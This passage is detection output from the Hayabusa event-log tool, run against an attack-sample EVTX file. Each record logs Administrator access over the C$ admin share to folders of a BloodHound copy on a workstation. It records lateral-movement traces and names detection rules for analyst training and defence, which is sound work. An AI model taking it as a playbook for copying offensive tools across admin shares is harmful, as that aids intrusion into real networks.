Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.257 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bluebird\js\release : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.257 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.267 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.267 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.267 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist\fonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\dist\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\fonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\grunt : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.277 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.287 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\less : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.287 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap\less\mixins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.297 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bootstrap-3-typeahead : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.297 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.297 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\.idea : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\.idea\inspectionProfiles : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\.idea\markdown-navigator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\bowser\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.307 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\brace-expansion : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-from : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-indexof-polyfill : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-indexof-polyfill\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.317 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffers\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffers\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\buffer-shims : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.327 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\cfb\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.337 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\chainsaw : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\chainsaw\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\chainsaw\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\classnames : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.347 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\codepage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\codepage\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\codepage\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\colors : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.357 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\colors\themes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\commander : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\commander\typings : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-map : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.367 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-map\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-map\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\concat-stream : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\conf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.377 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\build : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\client : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\core : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.387 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\es5 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.397 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\es6 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.397 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\es7 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.397 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\array : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\date : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\dom-collections : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.407 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\error : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\function : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\map : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.418 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\core-js\fn\math : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.428 +09:00,PC01.example.corp,5145,informational,Network Share File 